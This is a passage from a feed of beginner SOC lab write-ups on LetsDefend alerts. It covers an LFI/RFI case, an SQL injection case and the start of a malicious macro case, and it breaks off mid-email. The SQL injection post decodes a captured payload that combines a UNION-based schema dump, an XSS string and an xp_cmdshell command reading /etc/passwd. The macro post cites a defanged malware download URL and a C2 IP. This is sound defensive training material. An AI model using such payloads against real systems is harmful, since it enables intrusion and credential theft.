&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fraqpugdnvus9qbnf6y6y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fraqpugdnvus9qbnf6y6y.png" alt="lfi" width="800" height="334"&gt;&lt;/a&gt;&lt;br&gt;
Answer: LFI &amp;amp; RFI&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln7n39rb816jwp92ubmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln7n39rb816jwp92ubmv.png" alt="plan" width="800" height="494"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have to check if it is a planned test. &lt;br&gt;
After checking the Email Security tab and searching for the IP addresses and the hostname, we see no such mail regarding a notification of any planned test. We can conclude it is NOT a planned test.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2cd2shpr9ywfix9czxe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2cd2shpr9ywfix9czxe.png" alt="intetonetwork" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We saw the source IP is an external IP from Hong Kong.&lt;br&gt;
so the traffic is moving from Internet -&amp;gt; Company Network&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficc0114t1i15ixelsu98.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficc0114t1i15ixelsu98.png" alt="checkifsuccefful" width="800" height="655"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fss47r5681f37lp7l6s09.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fss47r5681f37lp7l6s09.png" alt="containment" width="800" height="548"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is to contain the host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomggexftrvswcgbqoafu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomggexftrvswcgbqoafu.png" alt="contained" width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Based on what we have uncovered during our investigation it would be wise for us to contain this server endpoint to prevent further damages.&lt;/p&gt;

&lt;p&gt;Add artifacts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F18ur7mn5ufcrq2g0wlxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F18ur7mn5ufcrq2g0wlxl.png" alt="artifacts" width="800" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2zx453mudta0r9fn2yiy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2zx453mudta0r9fn2yiy.png" alt="escalate" width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here in this case we need Tier 2 escalation&lt;/p&gt;

&lt;p&gt;After adding Analyst's notes we finish the playbook and close the alert. &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC127 - SQL Injection Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 24 Apr 2026 16:40:45 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc127-sql-injection-detected-ak</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc127-sql-injection-detected-ak</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sicehewq6wt2xh14ejj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sicehewq6wt2xh14ejj.png" alt="alert" width="800" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of the alert that we are going to investigate.&lt;/p&gt;

&lt;p&gt;We start with taking the ownership of the alert and then head to the investigation channel.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw82secbpe5b0fd9ac1of.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw82secbpe5b0fd9ac1of.png" alt="createcase" width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we create the case for this alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0v1xki4120swz2wmrn9e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0v1xki4120swz2wmrn9e.png" alt="playbook" width="800" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next thing for us to do is starting the playbook.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw6cyfnbo0ihnaym2nmt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw6cyfnbo0ihnaym2nmt.png" alt="infopage" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F139w2d6m5atbelyghwim.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F139w2d6m5atbelyghwim.png" alt="infopage2" width="800" height="523"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo90asyonn89ydf4w0zof.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo90asyonn89ydf4w0zof.png" alt="infopage3" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next thing I do is copy the url from the Request URL field and head to &lt;a href="https://gchq.github.io/CyberChef" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt; to &lt;code&gt;URL Decode&lt;/code&gt; it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk1afetshq4ru3plqnj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk1afetshq4ru3plqnj9.png" alt="cyberchef" width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It code looks like a malicious HTTP GET request trying to combine multiple attacks into one command:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;SQL Injection (Boolean + Union-Based)&lt;br&gt;
The attacker injects AND 1=1 to confirm the parameter is vulnerable, followed by a UNION ALL SELECT query to extract table_name from information_schema.tables. This aims to enumerate the database schema.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reflected XSS Payload&lt;br&gt;
The string 'alert(&amp;amp;quot;XSS&amp;amp;quot;)' is injected into the UNION query. If unsanitized in the HTTP response, it will execute JavaScript in the victim's browser — used for session hijacking.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Command Injection via xp_cmdshell&lt;br&gt;
The attacker calls xp_cmdshell('cat ../../../etc/passwd'), a SQL Server stored procedure that runs OS-level commands. This attempts to read the system's password file, indicating privilege escalation or host compromise. (I looked up the use of the command)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Evasion Techniques Observed&lt;br&gt;
The payload uses --/**/ to break the comment without spaces (bypassing naive WAF rules) and a # at the end to terminate the query early. The 200 OK response suggests the server executed at least part of the request.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The HTTP GET request contains HTTP/1.1 200 865, here the number 200 means that the attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsh9ncoiyy33y6h1zwand.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsh9ncoiyy33y6h1zwand.png" alt="httpattack" width="800" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can conclude that it is malicious&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y0lo9m74mtawdsnc9nz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y0lo9m74mtawdsnc9nz.png" alt="attackclass" width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can answer this easily, it is the name of the alert: SQL Injection&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9j5wq659ucuzf4d6j01.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9j5wq659ucuzf4d6j01.png" alt="planned" width="800" height="491"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We go to the Email Security tab and check for the hostnames and IP addresses and check for any email that may be regarding a planned test, alas we find none.&lt;/p&gt;

&lt;p&gt;Next we go to VirusTotal and check the reputation of the Source IP address:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh12jg2z4mruzn7isxz8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh12jg2z4mruzn7isxz8.png" alt="reputation" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;9/94 vendors flag this IP as malicious, so we can say it is malicious, with low confidence.&lt;/p&gt;

&lt;p&gt;It was NOT a planned test.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz4xil7r6v7vts5h4tf9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz4xil7r6v7vts5h4tf9.png" alt="question" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The destination IP is a part of the company network, and the source IP, as we know, is an external IP.&lt;br&gt;
Internet -&amp;gt; Company Network&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fihjndqgzwehzwb8k70kj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fihjndqgzwehzwb8k70kj.png" alt="succesfuol" width="800" height="637"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8vjdw3p4rcl09ku652e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8vjdw3p4rcl09ku652e.png" alt="suceful" width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;YES, the attack was successful since we can see the code 200 in the HTTP Request&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6m2zjjsjy44yuw2yp2nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6m2zjjsjy44yuw2yp2nc.png" alt="containment" width="800" height="536"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we move on to the containment phase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hpnorokr1ab534srco1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hpnorokr1ab534srco1.png" alt="contained" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Artifacts added:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26wm7qvxtc34o6h3qx74.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26wm7qvxtc34o6h3qx74.png" alt="artifacts" width="800" height="466"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3nh4olwcxd62j2fgiztg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3nh4olwcxd62j2fgiztg.png" alt=" " width="800" height="594"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do we need Tier 2 escalation? Answer: Yes, since we know the attack was successful.&lt;/p&gt;

&lt;p&gt;After adding Analyst's notes, we close the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiz6zc5rwcvl6ffc82zde.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiz6zc5rwcvl6ffc82zde.png" alt="closedplaybook" width="800" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jzri3vi87dpumxmgj6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jzri3vi87dpumxmgj6.png" alt="Imption" width="735" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;True positive alert, malicious HTTP traffic detected and successful on our internal server. Escalation to Tier 2 needed for deeper investigation and forensics&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC205 - Malicious Macro has been executed</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 24 Apr 2026 12:49:55 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc205-malicious-macro-has-been-executed-322p</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc205-malicious-macro-has-been-executed-322p</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cypxj8652jzgx10sjpg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cypxj8652jzgx10sjpg.png" alt="alert description" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the alert we see which is a "Medium" severity alert.&lt;/p&gt;

&lt;p&gt;We start with taking the ownership of the alert and start to investigate it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm31zbt703atvnk8ukzw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm31zbt703atvnk8ukzw.png" alt="create case" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we go ahead to the investigation channel and create the case &lt;br&gt;
for this investigation&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwetdymdbw2gqol0ch72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwetdymdbw2gqol0ch72.png" alt="investigation case" width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is to start the playbook.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1wj211e87uz3fx4fo4ie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1wj211e87uz3fx4fo4ie.png" alt="start playbook" width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We look up the file hash on VirusTotal and here is what we find:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy60pn8gn6zw3hs0dpmpt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy60pn8gn6zw3hs0dpmpt.png" alt="virustotal" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can conclude that the file is malicious since 31 out of 67 vendors have flagged it malicious.&lt;/p&gt;

&lt;p&gt;After searching the IP on Log Management tab, we find the following information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;At 8:41 a file named &lt;code&gt;C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip&lt;/code&gt; has been created (EventID 11 - File Created)&lt;/li&gt;
&lt;li&gt; User opens the Document and a macro code executes PowerShell command and execute the download of the remote ressource(&lt;code&gt;messbox.exe&lt;/code&gt; and save it as &lt;code&gt;mess.exe&lt;/code&gt;) at hxxp[:]//www[.]greyhathacker[.]net/tools/messbox[.]exe&lt;/li&gt;
&lt;li&gt;PowerShell caused a DNS lookup for the C2 host (92[.]204[.]221[.]16)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz88u72truwggxc81msrx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz88u72truwggxc81msrx.png" alt="Imageemail" width="800" height="229"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We search for the file name on the Email Security tab and find an email that was used to deliver this file to Jayne&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fetjkexkn5fsbyb3pp1q0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fetjkexkn5fsbyb3pp1q0.png" alt="Imeail" width="800" height="418"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; jake.admin@cybercommunity.info&lt;/span&gt;
&lt;span class="nt"&gt;To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; jayne@letsdefend.io&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; February Membership Fee&lt;/span&gt;
